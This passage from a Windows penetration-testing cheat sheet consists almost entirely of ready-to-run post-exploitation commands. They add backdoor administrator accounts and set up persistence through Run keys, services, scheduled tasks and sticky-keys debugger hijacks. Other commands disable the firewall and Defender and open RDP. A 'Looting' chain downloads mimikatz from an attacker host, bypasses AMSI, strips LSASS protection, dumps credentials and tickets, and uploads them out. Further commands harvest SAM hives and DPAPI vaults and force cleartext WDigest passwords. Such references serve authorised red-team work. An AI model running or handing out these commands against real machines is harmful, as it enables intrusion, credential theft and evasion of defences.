~PS> New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name PersistCalc -PropertyType String -Value "C:\Windows\System32\calc.exe"
`` Accounts
`` CLI
~> net.exe user VAR_USERNAME VAR_PASSWORD /add
~> net.exe localgroup administrators VAR_USERNAME /add
~> net.exe localgroup "Remote Desktop Users" VAR_USERNAME /add
`` useradd.c
@ snippets/windows/backdoors/useradd.c
`` Services
`` Use e.g. ServiceWrapper
-- Executable must be wrapped as a Windows service
~> sc.exe create VAR_NAME binpath= "C:\Program Files\Intel\update.exe"
-- Now allow all authenticated users to take control over the service using SDDL format, e.g.
~> sc.exe sdshow VAR_NAME
D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
-- VAR_STRING must be the result from sc sdshow plus "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)" (allow all to authenticated users) (in the D: section, right before S:)
~> sc.exe sdset VAR_NAME VAR_STRING
`` Launch command prompt on demand
~> sc.exe create VAR_NAME binpath= "cmd.exe /K start" type= own type= interact start= demand
-- Add permissions as above
`` Services
~> sc.exe \\VAR_TARGET_HOST create VAR_STRING binpath= "c:\Windows\Temp\foobar.exe"
~> sc.exe \\VAR_TARGET_HOST start VAR_STRING
~> sc.exe \\VAR_TARGET_HOST delete VAR_STRING
`` Registry
`` Command will run every time a user logs in as the user
~> reg.exe add "\\VAR_TARGET_HOST\HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VAR_STRING" /t REG_SZ /d "VAR_STRING"
`` Query the remote registry
~> reg.exe query "\\VAR_TARGET_HOST\HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VAR_STRING"
`` Delete the remote registry
~> reg.exe delete "\\VAR_TARGET_HOST\HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VAR_STRING"
`` Startup
`` Executes every time a user logs in
~> xcopy foobar.exe "\\VAR_TARGET_HOST\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\launcher.bat"
`` Scheduler
`` Create new task and execute it
~> schtasks.exe /create /tn VAR_STRING /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S VAR_TARGET_HOST /RU System
~> schtasks.exe /run /tn VAR_STRING /S VAR_TARGET_HOST
~> schtasks.exe /create /sc minute /mo 10 /tn VAR_STRING /tr c:\windows\temp\foobar.exe
`` Delete the task after it is executed
~> schtasks.exe /F /delete /tn VAR_STRING /S VAR_TARGET_HOST
`` Windows Firewall
`` Stop service
~> net.exe stop MspSvc
~> netsh.exe advfirewall set allprofiles state off
~> netsh.exe advfirewall show allprofiles
~> netsh.exe firewall set opmode disable
`` RDP
~> net.exe start TermService
~> netsh.exe add portopening TCP 3389 "Remote Desktop"
~> netsh.exe firewall set service RemoteAdmin enable
~> netsh.exe firewall set service RemoteDesktop enable
~> sc.exe config TermService start= auto
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 1 /f
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
~> reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f
`` Enable restricted admin mode
~> reg.exe add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" /v "DisableRestrictedAdmin" /t REG_DWORD /d 0 /f
`` Enabling scripts in Outlook client
`` Outlook 2016
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d 1 /f
`` Outlook 2013
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d 1 /f
`` Outlook 2010
~> reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d 1 /f
`` Physical access
`` Replace with cmd.exe (Sticky Keys)
-- SHIFT 5 times
C:\Windows\System32\sethc.exe
-- WINDOWS+U
C:\Windows\System32\Utilman.exe
-- WINDOWS+U, on-screen keyboard
C:\Windows\System32\osk.exe
-- WINDOWS+P
C:\Windows\System32\DisplaySwitch.exe
`` Attach debugger, for example:
~> reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe /k" /f
`` Windows 10 (virtual keyboard)
~> reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f
`` Runas
@ snippets/windows/utils/runas*
`` Looting
`` Standard looting procedure after getting local admin
-- Start HTTP receiver
~$ ~/lib/pentesting-cookbook/bin/httpd.py -p 8008
-- Is Tamper Protection enabled?
~PS> (Get-MpComputerStatus).IsTamperProtected
-- If not, disable Windows Defender, sample submission and cloud analytics
-- Otherwise disable Tamper Protection using GUI first
~> powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring 1 -SubmitSamplesConsent NeverSend -MAPSReporting Disabled"
-- Download tools
~> mkdir c:\Windows\Tasks\tmp\
~> curl.exe "http://VAR_ATTACKER_HOST/mimidrv.sys" -o C:\Windows\system32\IntelAudioRTX.sys
~> curl.exe "http://VAR_ATTACKER_HOST/minidump.exe" -o C:\Windows\Tasks\tmp\minidump.exe
~> curl.exe "http://VAR_ATTACKER_HOST/mimikatz.exe" -o C:\Windows\Tasks\tmp\mimikatz.exe
-- Disable LSASS process protection
~> sc.exe create IntelAudioRTX binPath= C:\Windows\system32\IntelAudioRTX.sys type= kernel start= demand
~> sc.exe start IntelAudioRTX
~> powershell
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/amsi.txt') | IEX
~PS> (New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST/mimikatz.txt') | IEX
~PS> Invoke-Mimikatz -Command "`"!processprotect /process:lsass.exe /remove`""
~PS> exit
-- Dump LSASS process memory
~> mkdir C:\Windows\Tasks\tmp\loot
~> C:\Windows\Tasks\tmp\minidump.exe
~> move C:\Windows\Tasks\lsass.dmp C:\Windows\Tasks\tmp\loot\
-- Grab the most important things related to Kerberos and locally stored credentials
~> powershell
~PS> cd C:\Windows\Tasks\tmp\loot
~PS> C:\Windows\Tasks\tmp\mimikatz.exe "privilege::debug" "sekurlsa::minidump C:\Windows\Tasks\tmp\loot\lsass.dmp" "sekurlsa::logonpasswords" "sekurlsa::tickets /export" "sekurlsa::ekeys" exit > C:\Windows\Tasks\tmp\loot\mimikatz.log
-- Compress and send home (using ~/lib/pentesting-cookbook/bin/httpd.py on the other end)
~> tar.exe -a -c -f C:\Windows\Tasks\tmp.zip C:\Windows\Tasks\tmp\loot
-- Configure the client in case there's a web proxy
~PS> [System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy()
~PS> [System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
-- And now send home (using ~/lib/pentesting-cookbook/bin/httpd.py on the other end)
~PS> (New-Object System.Net.WebClient).UploadFile('http://VAR_ATTACKER_HOST:8008/dc.example.com.zip', 'C:\Windows\Tasks\tmp.zip')
`` Passwords
`` Registry
- HKCU\Software\ORL\WinVNC3\Password
- HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #Autologi
- HKLM\SYSTEM\CurrentControlSet\Services\SNMP
- HKCU\Software\TightVNC\Server
- HKCU\Software\SimonTatham\PuTTY\Sessions
- HKCU\Software\OpenSSH\Agent\Key
~> reg.exe save "HKLM\SYSTEM" %TEMP%\SYSTEM.bak
~> reg.exe save "HKLM\SAM" %TEMP%\SAM.bak
~> reg.exe save "HKLM\SECURITY" %TEMP%\SECURITY.bak
~> reg.exe query HKLM /f password /t REG_SZ /s
~> reg.exe query HKCU /f password /t REG_SZ /s
`` Windows Server 2007
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\SAM.OLD
C:\Windows\System32\config\RegBack\SYSTEM
C:\Windows\System32\config\RegBack\SYSTEM.OLD
`` Windows XP
C:\Windows\repair\SAM
C:\Windows\repair\SECURITY
C:\Windows\repair\system
`` Other locations
~> dir %SYSTEMROOT%\repair\SAM 2>nul
~> dir %SYSTEMROOT%\System32\config\RegBack\SAM 2>nul
~> dir %SYSTEMROOT%\System32\config\SAM 2>nul
~> dir %SYSTEMROOT%\repair\system 2>nul
~> dir %SYSTEMROOT%\System32\config\SYSTEM 2>nul
~> dir %SYSTEMROOT%\System32\config\RegBack\system 2>nul
~> dir /a /b /s SAM.b*
`` Windows Autologin
~> reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
`` Putty
~> reg.exe query "HKCU\Software\SimonTatham\PuTTY\Sessions"
`` Stored credentials (DPAPI)
`` Windows Vista and later
- C:\Users\VAR_USERNAME\AppData\Roaming\Microsoft\Credentials
- C:\Users\VAR_USERNAME\AppData\Local\Microsoft\Credentials
`` Windows 8 and later
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials
`` Windows XP
- C:\Documents and Settings\VAR_USERNAME\Application Data\Microsoft\Credentials
- C:\Documents and Settings\VAR_USERNAME\Local Settings\Application Data\Microsoft\Credentials
`` Vault
- C:\Users\VAR_USERNAME\AppData\Local\Microsoft\Vault
- C:\ProgramData\Microsoft\Vault
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault
~$ python /opt/impacket/examples/dpapi.py credential -file credentials
`` Force wdigest provider to keep passwords, ask users to log in:
~> reg.exe add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
`` Wireless